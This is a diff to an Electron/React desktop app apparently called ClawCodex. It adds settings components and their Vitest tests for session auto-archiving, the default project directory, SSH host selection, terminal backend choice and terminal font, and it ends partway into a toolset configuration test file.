+    void getClawCodexConfigRecord()
+      .then(record => {
+        if (!alive) {
+          return
+        }
+
+        const sessions = (record.sessions ?? {}) as Record<string, unknown>
+        const parsedDays = Number(sessions.auto_archive_days)
+        setConfig(record)
+        setEnabled(Boolean(sessions.auto_archive))
+        setDays(Number.isFinite(parsedDays) && parsedDays > 0 ? Math.round(parsedDays) : DEFAULT_AUTO_ARCHIVE_DAYS)
+      })
+      .catch(() => {
+        // Leave the control unmounted if config can't be read.
+      })
+
+    return () => {
+      alive = false
+    }
+  }, [])
+
+  const persist = useCallback(
+    async (autoArchive: boolean, archiveDays: number) => {
+      if (!config) {
+        return
+      }
+
+      const sessions = {
+        ...((config.sessions ?? {}) as Record<string, unknown>),
+        auto_archive: autoArchive,
+        auto_archive_days: archiveDays
+      }
+
+      const updated = { ...config, sessions }
+      setConfig(updated)
+
+      try {
+        await saveClawCodexConfig(updated)
+      } catch (err) {
+        notifyError(err, s.autoArchiveFailed)
+      }
+    },
+    [config, s.autoArchiveFailed]
+  )
+
+  if (!config) {
+    return null
+  }
+
+  return (
+    <div className="mb-6">
+      <ToggleRow
+        checked={enabled}
+        description={s.autoArchiveDesc}
+        label={s.autoArchiveTitle}
+        onChange={on => {
+          setEnabled(on)
+          void persist(on, days)
+        }}
+      />
+      {enabled && (
+        <ListRow
+          action={
+            <div className="flex items-center gap-2">
+              <Input
+                aria-label={s.autoArchiveDaysLabel}
+                className="w-20"
+                min={1}
+                onBlur={() => void persist(true, days)}
+                onChange={e => setDays(Math.max(1, Math.round(Number(e.target.value) || 1)))}
+                type="number"
+                value={days}
+              />
+              <span className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                {s.autoArchiveDaysUnit}
+              </span>
+            </div>
+          }
+          title={s.autoArchiveDaysLabel}
+        />
+      )}
+    </div>
+  )
+}
+
+// Lets the user pin the default cwd for new sessions. Without this, packaged
+// builds on Windows used to spawn sessions in the install dir (`win-unpacked`
+// / Program Files), which buried any files ClawCodex wrote there.
+function DefaultProjectDirSetting() {
+  const { t } = useI18n()
+  const s = t.settings.sessions
+  const [dir, setDir] = useState<null | string>(null)
+  const [fallback, setFallback] = useState<string>('')
+  const [busy, setBusy] = useState(false)
+
+  useEffect(() => {
+    // The bridge is only present when running inside Electron. In a Vitest
+    // / Storybook / non-Electron context `window.clawcodexDesktop` is
+    // undefined, so guard the WHOLE call chain rather than chaining
+    // `?.settings.getDefaultProjectDir().then(...)` (the latter would
+    // short-circuit to `undefined.then(...)` and throw at runtime).
+    const settings = window.clawcodexDesktop?.settings
+
+    if (!settings) {
+      return
+    }
+
+    let alive = true
+
+    void settings.getDefaultProjectDir().then(result => {
+      if (!alive) {
+        return
+      }
+
+      setDir(result.dir)
+      setFallback(result.defaultLabel)
+      applyConfiguredDefaultProjectDir(result.dir)
+    })
+
+    return () => {
+      alive = false
+    }
+  }, [])
+
+  const choose = useCallback(async () => {
+    const settings = window.clawcodexDesktop?.settings
+
+    if (!settings) {
+      return
+    }
+
+    setBusy(true)
+
+    try {
+      const picked = await settings.pickDefaultProjectDir()
+
+      if (picked.canceled || !picked.dir) {
+        return
+      }
+
+      const result = await settings.setDefaultProjectDir(picked.dir)
+      setDir(result.dir)
+      applyConfiguredDefaultProjectDir(result.dir)
+      notify({ durationMs: 4_000, kind: 'success', message: s.defaultDirUpdated })
+    } catch (err) {
+      notifyError(err, s.updateDirFailed)
+    } finally {
+      setBusy(false)
+    }
+  }, [s])
+
+  const clear = useCallback(async () => {
+    const settings = window.clawcodexDesktop?.settings
+
+    if (!settings) {
+      return
+    }
+
+    setBusy(true)
+
+    try {
+      await settings.setDefaultProjectDir(null)
+      setDir(null)
+      applyConfiguredDefaultProjectDir(null)
+      await ensureDefaultWorkspaceCwd()
+    } catch (err) {
+      notifyError(err, s.clearDirFailed)
+    } finally {
+      setBusy(false)
+    }
+  }, [s])
+
+  return (
+    <div className="mb-6">
+      <SectionHeading icon={FolderOpen} title={s.defaultDirTitle} />
+      <p className="mb-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+        {s.defaultDirDesc}
+      </p>
+      <ListRow
+        action={
+          <div className="flex items-center gap-3">
+            <Button disabled={busy} onClick={() => void choose()} size="sm" type="button" variant="textStrong">
+              <FolderOpen className="size-3.5" />
+              <span>{dir ? s.change : s.choose}</span>
+            </Button>
+            {dir && (
+              <Button disabled={busy} onClick={() => void clear()} size="sm" type="button" variant="text">
+                {s.clear}
+              </Button>
+            )}
+          </div>
+        }
+        description={dir || s.defaultsTo(fallback || '~')}
+        title={dir ? dir : s.notSet}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/ssh-host-selection.test.ts b/ui-desktop/src/app/settings/ssh-host-selection.test.ts
new file mode 100644
index 000000000..d5c7ee7ea
--- /dev/null
+++ b/ui-desktop/src/app/settings/ssh-host-selection.test.ts
@@ -0,0 +1,46 @@
+import { describe, expect, it } from 'vitest'
+
+import { enrichSelectedSshHost, selectSshHost } from './ssh-host-selection'
+
+const state = {
+  mode: 'ssh',
+  sshHost: 'linux-box',
+  sshUser: 'operator',
+  sshPort: 2222,
+  sshKeyPath: '/keys/linux',
+  sshRemoteClawCodexPath: '/opt/clawcodex'
+}
+
+describe('selectSshHost', () => {
+  it('clears host-specific fields when the selected host changes', () => {
+    expect(selectSshHost(state, 'mac-box')).toEqual({
+      mode: 'ssh',
+      sshHost: 'mac-box',
+      sshUser: '',
+      sshPort: null,
+      sshKeyPath: '',
+      sshRemoteClawCodexPath: ''
+    })
+  })
+
+  it('preserves state when reselecting the same host', () => {
+    expect(selectSshHost(state, state.sshHost)).toBe(state)
+  })
+
+  it('enriches only the host that produced the ssh config result', () => {
+    const selected = selectSshHost(state, 'mac-box')
+    expect(
+      enrichSelectedSshHost(selected, 'mac-box', {
+        identityFile: '~/.ssh/id_ed25519',
+        port: 22,
+        user: 'clawcodex'
+      })
+    ).toMatchObject({
+      sshHost: 'mac-box',
+      sshUser: 'clawcodex',
+      sshPort: null,
+      sshKeyPath: '~/.ssh/id_ed25519'
+    })
+    expect(enrichSelectedSshHost(state, 'mac-box', { user: 'wrong' })).toBe(state)
+  })
+})
diff --git a/ui-desktop/src/app/settings/ssh-host-selection.ts b/ui-desktop/src/app/settings/ssh-host-selection.ts
new file mode 100644
index 000000000..1a75d1140
--- /dev/null
+++ b/ui-desktop/src/app/settings/ssh-host-selection.ts
@@ -0,0 +1,43 @@
+type SshHostState = {
+  sshHost: string
+  sshUser: string
+  sshPort: number | null
+  sshKeyPath: string
+  sshRemoteClawCodexPath: string
+}
+
+type ResolvedSshHost = {
+  identityFile?: string | null
+  port?: number | null
+  user?: string | null
+}
+
+function selectSshHost<T extends SshHostState>(state: T, host: string): T {
+  if (host === state.sshHost) {
+    return state
+  }
+
+  return {
+    ...state,
+    sshHost: host,
+    sshUser: '',
+    sshPort: null,
+    sshKeyPath: '',
+    sshRemoteClawCodexPath: ''
+  }
+}
+
+function enrichSelectedSshHost<T extends SshHostState>(state: T, host: string, resolved: ResolvedSshHost): T {
+  if (state.sshHost !== host) {
+    return state
+  }
+
+  return {
+    ...state,
+    sshUser: state.sshUser || resolved.user || '',
+    sshPort: state.sshPort ?? (resolved.port === 22 ? null : (resolved.port ?? null)),
+    sshKeyPath: state.sshKeyPath || resolved.identityFile || ''
+  }
+}
+
+export { enrichSelectedSshHost, selectSshHost }
diff --git a/ui-desktop/src/app/settings/terminal-backend-panel.test.tsx b/ui-desktop/src/app/settings/terminal-backend-panel.test.tsx
new file mode 100644
index 000000000..0463937be
--- /dev/null
+++ b/ui-desktop/src/app/settings/terminal-backend-panel.test.tsx
@@ -0,0 +1,127 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { TerminalBackendsResponse } from '@/types/clawcodex'
+
+const getTerminalBackends = vi.fn()
+const selectTerminalBackend = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getTerminalBackends: () => getTerminalBackends(),
+  selectTerminalBackend: (backend: string) => selectTerminalBackend(backend)
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+function backends(overrides: Partial<TerminalBackendsResponse> = {}): TerminalBackendsResponse {
+  return {
+    active: 'local',
+    backends: [
+      {
+        name: 'local',
+        label: 'Local',
+        description: 'Run commands directly on this machine. No isolation.',
+        active: true,
+        status: 'ready',
+        detail: ''
+      },
+      {
+        name: 'docker',
+        label: 'Docker',
+        description: 'Run commands in an isolated Docker container.',
+        active: false,
+        status: 'needs_setup',
+        detail: 'Docker daemon not reachable — start Docker and retry.'
+      },
+      {
+        name: 'ssh',
+        label: 'SSH',
+        description: 'Run commands on a remote host over SSH.',
+        active: false,
+        status: 'ready',
+        detail: 'clawcodex@devbox'
+      }
+    ],
+    ...overrides
+  }
+}
+
+beforeEach(() => {
+  getTerminalBackends.mockResolvedValue(backends())
+  selectTerminalBackend.mockResolvedValue({ ok: true, backend: 'ssh' })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+describe('TerminalBackendPanel', () => {
+  it('lists backends with status pills from the backends endpoint', async () => {
+    const { TerminalBackendPanel } = await import('./terminal-backend-panel')
+    render(<TerminalBackendPanel onConfiguredChange={vi.fn()} />)
+
+    expect(await screen.findByText('Local')).toBeTruthy()
+    expect(screen.getByText('Docker')).toBeTruthy()
+    expect(screen.getByText('SSH')).toBeTruthy()
+    // Ready backends show the Ready pill; needs_setup shows the warn pill.
+    expect(screen.getAllByText('Ready').length).toBeGreaterThanOrEqual(2)
+    expect(screen.getByText('Needs setup')).toBeTruthy()
+    expect(getTerminalBackends).toHaveBeenCalled()
+  })
+
+  it('shows setup guidance detail for a needs_setup backend', async () => {
+    const { TerminalBackendPanel } = await import('./terminal-backend-panel')
+    render(<TerminalBackendPanel onConfiguredChange={vi.fn()} />)
+
+    expect(await screen.findByText(/Docker daemon not reachable/)).toBeTruthy()
+  })
+
+  it('marks the active backend with an In use pill', async () => {
+    const { TerminalBackendPanel } = await import('./terminal-backend-panel')
+    render(<TerminalBackendPanel onConfiguredChange={vi.fn()} />)
+
+    const local = await screen.findByRole('button', { name: /Local/ })
+    expect(local.getAttribute('aria-pressed')).toBe('true')
+    expect(screen.getByText('In use')).toBeTruthy()
+  })
+
+  it('selects a backend when clicked and reports the change', async () => {
+    const onConfiguredChange = vi.fn()
+    const { TerminalBackendPanel } = await import('./terminal-backend-panel')
+    render(<TerminalBackendPanel onConfiguredChange={onConfiguredChange} />)
+
+    fireEvent.click(await screen.findByRole('button', { name: /SSH/ }))
+
+    await waitFor(() => expect(selectTerminalBackend).toHaveBeenCalledWith('ssh'))
+    await waitFor(() => expect(onConfiguredChange).toHaveBeenCalled())
+    // Active highlight moves without a refetch.
+    const ssh = screen.getByRole('button', { name: /SSH/ })
+    expect(ssh.getAttribute('aria-pressed')).toBe('true')
+  })
+
+  it('allows selecting a needs_setup backend (guidance instead of blocking)', async () => {
+    selectTerminalBackend.mockResolvedValue({ ok: true, backend: 'docker' })
+    const { TerminalBackendPanel } = await import('./terminal-backend-panel')
+    render(<TerminalBackendPanel onConfiguredChange={vi.fn()} />)
+
+    fireEvent.click(await screen.findByRole('button', { name: /Docker/ }))
+
+    await waitFor(() => expect(selectTerminalBackend).toHaveBeenCalledWith('docker'))
+    // The guidance detail stays visible on the now-active row.
+    expect(screen.getByText(/Docker daemon not reachable/)).toBeTruthy()
+  })
+
+  it('does not re-select the already active backend', async () => {
+    const { TerminalBackendPanel } = await import('./terminal-backend-panel')
+    render(<TerminalBackendPanel onConfiguredChange={vi.fn()} />)
+
+    fireEvent.click(await screen.findByRole('button', { name: /Local/ }))
+
+    await new Promise(resolve => setTimeout(resolve, 50))
+    expect(selectTerminalBackend).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/settings/terminal-backend-panel.tsx b/ui-desktop/src/app/settings/terminal-backend-panel.tsx
new file mode 100644
index 000000000..6aeba0b17
--- /dev/null
+++ b/ui-desktop/src/app/settings/terminal-backend-panel.tsx
@@ -0,0 +1,160 @@
+import { useCallback, useEffect, useState } from 'react'
+
+import { getTerminalBackends, selectTerminalBackend } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { useI18n } from '@/i18n'
+import { AlertTriangle, Check, Loader2, RefreshCw } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import type { TerminalBackendInfo, TerminalBackendsResponse } from '@/types/clawcodex'
+
+import { Pill } from './primitives'
+
+interface TerminalBackendPanelProps {
+  /** Re-read the parent toolset list after a backend change so any derived
+   *  pills stay in sync. */
+  onConfiguredChange?: () => void
+}
+
+function StatusPill({ backend }: { backend: TerminalBackendInfo }) {
+  const { t } = useI18n()
+  const copy = t.settings.toolsets.terminalBackend
+
+  if (backend.status === 'ready') {
+    return (
+      <Pill tone="primary">
+        <Check className="size-3" />
+        {copy.ready}
+      </Pill>
+    )
+  }
+
+  return (
+    <Pill tone="muted">
+      <AlertTriangle className="size-3" />
+      {backend.status === 'needs_setup' ? copy.needsSetup : copy.unavailable}
+    </Pill>
+  )
+}
+
+/**
+ * Terminal execution backend picker — the Capabilities-tab counterpart of the
+ * `terminal.backend` config enum. Each backend row carries a live health probe
+ * (Docker daemon reachable, SSH host configured, Modal/Daytona credentials
+ * present) so users see Ready / Needs-setup guidance instead of a bare
+ * dropdown. Selecting a needs-setup backend is allowed — the row shows what's
+ * missing rather than blocking, matching the CLI configurator.
+ */
+export function TerminalBackendPanel({ onConfiguredChange }: TerminalBackendPanelProps) {
+  const { t } = useI18n()
+  const copy = t.settings.toolsets.terminalBackend
+  const [data, setData] = useState<TerminalBackendsResponse | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [selecting, setSelecting] = useState<string | null>(null)
+
+  const refresh = useCallback(async () => {
+    setLoading(true)
+
+    try {
+      setData(await getTerminalBackends())
+    } catch (err) {
+      notifyError(err, copy.failedLoad)
+    } finally {
+      setLoading(false)
+    }
+  }, [copy.failedLoad])
+
+  useEffect(() => {
+    void refresh()
+  }, [refresh])
+
+  async function handleSelect(backend: TerminalBackendInfo) {
+    if (backend.active || selecting) {
+      return
+    }
+
+    setSelecting(backend.name)
+
+    try {
+      await selectTerminalBackend(backend.name)
+      // Mirror the backend write locally so the active highlight tracks the
+      // new selection without a refetch (probes are unchanged by a select).
+      setData(current =>
+        current
+          ? {
+              ...current,
+              active: backend.name,
+              backends: current.backends.map(b => ({ ...b, active: b.name === backend.name }))
+            }
+          : current
+      )
+      notify({ kind: 'success', title: copy.selectedTitle, message: copy.selectedMessage(backend.label) })
+      onConfiguredChange?.()
+    } catch (err) {
+      notifyError(err, copy.failedSelect(backend.label))
+    } finally {
+      setSelecting(null)
+    }
+  }
+
+  if (loading && !data) {
+    return (
+      <div className="flex items-center gap-2 px-1 text-xs text-muted-foreground">
+        <Loader2 className="size-3.5 animate-spin" />
+        {copy.loading}
+      </div>
+    )
+  }
+
+  if (!data) {
+    return null
+  }
+
+  return (
+    <div className="grid gap-1.5">
+      <div className="flex items-baseline justify-between gap-2 px-0.5">
+        <span className="text-[0.72rem] font-medium">{copy.sectionTitle}</span>
+        <Button disabled={loading} onClick={() => void refresh()} size="sm" variant="text">
+          <RefreshCw className={cn('size-3.5', loading && 'animate-spin')} />
+        </Button>
+      </div>
+      <div className="grid gap-1">
+        {data.backends.map(backend => (
+          <button
+            aria-pressed={backend.active}
+            className={cn(
+              'grid gap-0.5 rounded-lg border px-2.5 py-2 text-left transition',
+              backend.active
+                ? 'border-(--ui-stroke-secondary) bg-(--ui-bg-tertiary)'
+                : 'border-transparent bg-background/55 hover:bg-accent/40'
+            )}
+            disabled={selecting !== null}
+            key={backend.name}
+            onClick={() => void handleSelect(backend)}
+            type="button"
+          >
+            <span className="flex flex-wrap items-center gap-2">
+              <span className="text-xs font-medium">{backend.label}</span>
+              <StatusPill backend={backend} />
+              {backend.active && (
+                <Pill tone="primary">
+                  <Check className="size-3" />
+                  {copy.inUse}
+                </Pill>
+              )}
+              {selecting === backend.name && <Loader2 className="size-3 animate-spin" />}
+            </span>
+            <span className="text-[0.68rem] text-muted-foreground">{backend.description}</span>
+            {backend.status !== 'ready' && backend.detail && (
+              <span className="flex items-start gap-1 text-[0.68rem] text-amber-600 dark:text-amber-300">
+                <AlertTriangle className="mt-0.5 size-3 shrink-0" />
+                {backend.detail}
+                {backend.active && ` ${copy.needsSetupHint}`}
+              </span>
+            )}
+          </button>
+        ))}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/terminal-font-setting.test.tsx b/ui-desktop/src/app/settings/terminal-font-setting.test.tsx
new file mode 100644
index 000000000..56a56fa17
--- /dev/null
+++ b/ui-desktop/src/app/settings/terminal-font-setting.test.tsx
@@ -0,0 +1,152 @@
+// @vitest-environment jsdom
+import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $terminalFontFamily } from '../right-sidebar/terminal/terminal-font'
+
+import { TerminalFontSetting } from './terminal-font-setting'
+
+const mocks = vi.hoisted(() => ({
+  cache: vi.fn(),
+  loadedConfig: {} as Record<string, unknown>,
+  notifyError: vi.fn(),
+  profileSwitch: null as null | (() => void),
+  save: vi.fn()
+}))
+
+vi.mock('@/clawcodex', () => ({
+  saveClawCodexConfig: (config: Record<string, unknown>) => mocks.save(config)
+}))
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      settings: {
+        appearance: {
+          terminalFontDesc: 'Choose an installed font.',
+          terminalFontPlaceholder: 'MesloLGS NF or a CSS font stack',
+          terminalFontPreview: 'Glyph preview',
+          terminalFontReset: 'Use default',
+          terminalFontTitle: 'Terminal Font'
+        },
+        config: { autosaveFailed: 'Autosave failed' }
+      }
+    }
+  })
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notifyError: (...args: unknown[]) => mocks.notifyError(...args)
+}))
+
+vi.mock('../hooks/use-config-record', () => ({
+  setClawCodexConfigCache: (config: Record<string, unknown>) => mocks.cache(config),
+  useClawCodexConfigRecord: () => ({ data: mocks.loadedConfig })
+}))
+
+vi.mock('../hooks/use-on-profile-switch', () => ({
+  useOnProfileSwitch: (callback: () => void) => {
+    mocks.profileSwitch = callback
+  }
+}))
+
+async function flushAutosave() {
+  await act(async () => {
+    vi.advanceTimersByTime(550)
+    await Promise.resolve()
+    await Promise.resolve()
+  })
+}
+
+describe('TerminalFontSetting', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    mocks.loadedConfig = {
+      display: { skin: 'clawcodex' },
+      terminal: { backend: 'local', cwd: '/workspace', font_family: '' }
+    }
+    mocks.save.mockResolvedValue({ ok: true })
+    mocks.profileSwitch = null
+    $terminalFontFamily.set('')
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.clearAllMocks()
+    vi.useRealTimers()
+  })
+
+  it('selects MesloLGS NF and persists only the terminal font field', async () => {
+    render(<TerminalFontSetting />)
+    const input = screen.getByRole('combobox', { name: 'Terminal Font' })
+
+    fireEvent.change(input, { target: { value: 'MesloLGS NF' } })
+
+    expect($terminalFontFamily.get()).toBe('MesloLGS NF')
+    expect((screen.getByLabelText('Glyph preview') as HTMLElement).style.fontFamily).toContain('MesloLGS NF')
+
+    await flushAutosave()
+
+    expect(mocks.save).toHaveBeenCalledWith({
+      display: { skin: 'clawcodex' },
+      terminal: { backend: 'local', cwd: '/workspace', font_family: 'MesloLGS NF' }
+    })
+    expect(mocks.cache).toHaveBeenCalledWith(mocks.save.mock.calls[0][0])
+  })
+
+  it('accepts an arbitrary CSS stack and resets to the bundled default', async () => {
+    mocks.loadedConfig = {
+      terminal: { backend: 'local', font_family: "'Hack Nerd Font', monospace" }
+    }
+    render(<TerminalFontSetting />)
+    const input = screen.getByRole('combobox', { name: 'Terminal Font' })
+
+    expect((input as HTMLInputElement).value).toBe("'Hack Nerd Font', monospace")
+    fireEvent.change(input, { target: { value: "'Custom Powerline', monospace" } })
+    await flushAutosave()
+
+    expect(mocks.save.mock.calls[0][0]).toMatchObject({
+      terminal: { backend: 'local', font_family: "'Custom Powerline', monospace" }
+    })
+
+    fireEvent.click(screen.getByRole('button', { name: 'Use default' }))
+    expect($terminalFontFamily.get()).toBe('')
+    expect((screen.getByLabelText('Glyph preview') as HTMLElement).style.fontFamily).toContain('JetBrains Mono')
+    await flushAutosave()
+
+    expect(mocks.save.mock.calls[1][0]).toMatchObject({
+      terminal: { backend: 'local', font_family: '' }
+    })
+  })
+
+  it('rolls back the optimistic font when autosave fails', async () => {
+    mocks.loadedConfig = { terminal: { font_family: 'MesloLGS NF' } }
+    mocks.save.mockRejectedValue(new Error('disk full'))
+    render(<TerminalFontSetting />)
+    const input = screen.getByRole('combobox', { name: 'Terminal Font' })
+
+    fireEvent.change(input, { target: { value: 'Hack Nerd Font' } })
+    expect($terminalFontFamily.get()).toBe('Hack Nerd Font')
+    await flushAutosave()
+
+    expect((input as HTMLInputElement).value).toBe('MesloLGS NF')
+    expect($terminalFontFamily.get()).toBe('MesloLGS NF')
+    expect(mocks.notifyError).toHaveBeenCalledWith(expect.any(Error), 'Autosave failed')
+  })
+
+  it('drops the prior profile font and reseeds from the next profile', () => {
+    mocks.loadedConfig = { terminal: { font_family: 'MesloLGS NF' } }
+    const view = render(<TerminalFontSetting />)
+
+    expect($terminalFontFamily.get()).toBe('MesloLGS NF')
+    act(() => mocks.profileSwitch?.())
+    expect($terminalFontFamily.get()).toBe('')
+    expect((screen.getByRole('combobox', { name: 'Terminal Font' }) as HTMLInputElement).disabled).toBe(true)
+
+    mocks.loadedConfig = { terminal: { font_family: 'Hack Nerd Font' } }
+    view.rerender(<TerminalFontSetting />)
+
+    expect((screen.getByRole('combobox', { name: 'Terminal Font' }) as HTMLInputElement).value).toBe('Hack Nerd Font')
+    expect($terminalFontFamily.get()).toBe('Hack Nerd Font')
+  })
+})
diff --git a/ui-desktop/src/app/settings/terminal-font-setting.tsx b/ui-desktop/src/app/settings/terminal-font-setting.tsx
new file mode 100644
index 000000000..fb3f6dd85
--- /dev/null
+++ b/ui-desktop/src/app/settings/terminal-font-setting.tsx
@@ -0,0 +1,169 @@
+import { useEffect, useRef, useState } from 'react'
+
+import {
+  normalizeTerminalFontFamily,
+  resolveTerminalFontFamily,
+  setTerminalFontFamilyFromConfig,
+  TERMINAL_FONT_SUGGESTIONS
+} from '@/app/right-sidebar/terminal/terminal-font'
+import { saveClawCodexConfig } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { notifyError } from '@/store/notifications'
+import type { ClawCodexConfigRecord } from '@/types/clawcodex'
+
+import { setClawCodexConfigCache, useClawCodexConfigRecord } from '../hooks/use-config-record'
+import { useOnProfileSwitch } from '../hooks/use-on-profile-switch'
+
+import { getNested, setNested } from './helpers'
+import { ListRow } from './primitives'
+
+const AUTOSAVE_DELAY_MS = 550
+
+function fontFamilyFromConfig(config: ClawCodexConfigRecord): string {
+  return normalizeTerminalFontFamily(getNested(config, 'terminal.font_family'))
+}
+
+export function TerminalFontSetting() {
+  const { t } = useI18n()
+  const copy = t.settings.appearance
+  const { data: loadedConfig } = useClawCodexConfigRecord()
+  // draft === null ⇔ unseeded: nothing painted yet for this profile. The
+  // profile-switch handler resets it to null and records the config object
+  // it was looking at (`staleConfig`) — the seed effect refuses to re-seed
+  // from that same object, so the previous profile's cached record can't
+  // repopulate the field; the next profile's fetch (a new object) seeds it.
+  // `draft` itself is the seed marker (no ref mirroring, per the lint rule).
+  const [draft, setDraft] = useState<string | null>(null)
+  const [staleConfig, setStaleConfig] = useState<ClawCodexConfigRecord | null>(null)
+  const [saveVersion, setSaveVersion] = useState(0)
+  const saveVersionRef = useRef(0)
+
+  // Lexically outside every useEffect so async save callbacks can cancel the
+  // in-flight version without assigning to a ref inside an effect body.
+  const cancelPendingSave = () => {
+    saveVersionRef.current = 0
+  }
+
+  useEffect(() => {
+    if (!loadedConfig || draft !== null || loadedConfig === staleConfig) {
+      return
+    }
+
+    const value = fontFamilyFromConfig(loadedConfig)
+    setDraft(value)
+    setTerminalFontFamilyFromConfig(value)
+  }, [draft, loadedConfig, staleConfig])
+
+  useOnProfileSwitch(() => {
+    saveVersionRef.current += 1
+    setDraft(null)
+    setStaleConfig(loadedConfig ?? null)
+    setSaveVersion(0)
+    // Do not show the previous profile's font while the new profile loads.
+    setTerminalFontFamilyFromConfig('')
+  })
+
+  useEffect(() => {
+    if (draft === null || saveVersion === 0 || !loadedConfig) {
+      return
+    }
+
+    const version = saveVersion
+    const value = normalizeTerminalFontFamily(draft)
+
+    // Already persisted (or a cache refresh confirmed it) — nothing to save.
+    // This also terminates the effect re-run after a successful save updates
+    // the shared config cache.
+    if (value === fontFamilyFromConfig(loadedConfig)) {
+      return
+    }
+
+    // The last successfully saved value IS what the shared config cache
+    // holds — successful saves write it back via setClawCodexConfigCache, so
+    // rollback re-derives from there instead of mirroring into a ref.
+    const rollback = fontFamilyFromConfig(loadedConfig)
+
+    const timeout = window.setTimeout(() => {
+      const next = setNested(loadedConfig, 'terminal.font_family', value)
+
+      void saveClawCodexConfig(next)
+        .then(result => {
+          if (!result.ok) {
+            throw new Error(t.settings.config.autosaveFailed)
+          }
+
+          if (saveVersionRef.current !== version) {
+            return
+          }
+
+          setClawCodexConfigCache(next)
+        })
+        .catch(error => {
+          if (saveVersionRef.current !== version) {
+            return
+          }
+
+          cancelPendingSave()
+          setSaveVersion(0)
+          setDraft(rollback)
+          setTerminalFontFamilyFromConfig(rollback)
+          notifyError(error, t.settings.config.autosaveFailed)
+        })
+    }, AUTOSAVE_DELAY_MS)
+
+    return () => window.clearTimeout(timeout)
+  }, [draft, loadedConfig, saveVersion, t.settings.config.autosaveFailed])
+
+  const update = (value: string) => {
+    saveVersionRef.current += 1
+    setDraft(value)
+    setSaveVersion(saveVersionRef.current)
+    setTerminalFontFamilyFromConfig(value)
+  }
+
+  const value = draft ?? ''
+  const previewFontFamily = resolveTerminalFontFamily(value)
+
+  return (
+    <ListRow
+      below={
+        <div className="mt-3 space-y-2">
+          <div className="flex items-center gap-3">
+            <Input
+              aria-label={copy.terminalFontTitle}
+              className="flex-1"
+              disabled={draft === null}
+              list="clawcodex-terminal-font-families"
+              onChange={event => update(event.target.value)}
+              placeholder={copy.terminalFontPlaceholder}
+              value={value}
+            />
+            <Button disabled={!value || draft === null} onClick={() => update('')} size="inline" variant="text">
+              {copy.terminalFontReset}
+            </Button>
+          </div>
+          <datalist id="clawcodex-terminal-font-families">
+            {TERMINAL_FONT_SUGGESTIONS.map(font => (
+              <option key={font} value={font} />
+            ))}
+          </datalist>
+          <div
+            aria-label={copy.terminalFontPreview}
+            className="overflow-hidden px-1 py-2 text-sm text-(--ui-text-secondary)"
+            style={{ fontFamily: previewFontFamily }}
+          >
+            <span className="mr-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+              {copy.terminalFontPreview}
+            </span>
+            <span> ~/project git:main ❯</span>
+          </div>
+        </div>
+      }
+      description={copy.terminalFontDesc}
+      title={copy.terminalFontTitle}
+      wide
+    />
+  )
+}
diff --git a/ui-desktop/src/app/settings/toolset-config-panel.test.tsx b/ui-desktop/src/app/settings/toolset-config-panel.test.tsx
new file mode 100644
index 000000000..1bf190d0d
--- /dev/null
+++ b/ui-desktop/src/app/settings/toolset-config-panel.test.tsx
@@ -0,0 +1,1068 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render as rtlRender, screen, waitFor } from '@testing-library/react'
+import type { ReactElement } from 'react'
+import { MemoryRouter } from 'react-router'
+import type * as ReactRouterDom from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ToolsetConfig } from '@/types/clawcodex'
+
+// EnvVarField navigates to Settings → Keys via useNavigate, so every render
+// needs a router context. The navigate spy asserts the deep-link target.
+const navigateSpy = vi.fn()
+
+vi.mock('react-router', async importOriginal => ({
+  ...(await importOriginal<typeof ReactRouterDom>()),
+  useNavigate: () => navigateSpy
+}))
+
+// The inline VoiceProviderFields reads the shared config record through React
+// Query, so the panel needs a QueryClientProvider (fresh per render — cached
+// config from one test must not leak into the next).
+const render = (ui: ReactElement) =>
+  rtlRender(
+    <MemoryRouter>
+      <QueryClientProvider client={new QueryClient({ defaultOptions: { queries: { retry: false } } })}>
+        {ui}
+      </QueryClientProvider>
+    </MemoryRouter>
+  )
+
+const getToolsetConfig = vi.fn()
+const getToolsetModels = vi.fn()
+const selectToolsetModel = vi.fn()
+const selectToolsetProvider = vi.fn()
+const setEnvVar = vi.fn()
+const deleteEnvVar = vi.fn()
+const revealEnvVar = vi.fn()
+const runToolsetPostSetup = vi.fn()
+const getActionStatus = vi.fn()
+const startOAuthLogin = vi.fn()
+const pollOAuthSession = vi.fn()
+const getClawCodexConfigRecord = vi.fn()
+const getClawCodexConfigSchema = vi.fn()
+const saveClawCodexConfig = vi.fn()
+const getElevenLabsVoices = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getToolsetConfig: (name: string) => getToolsetConfig(name),
+  getToolsetModels: (name: string, provider?: string) => getToolsetModels(name, provider),
+  selectToolsetModel: (name: string, model: string, provider?: string) => selectToolsetModel(name, model, provider),
+  selectToolsetProvider: (name: string, provider: string, capability?: string) =>
+    capability === undefined
+      ? selectToolsetProvider(name, provider)
+      : selectToolsetProvider(name, provider, capability),
+  setEnvVar: (key: string, value: string) => setEnvVar(key, value),
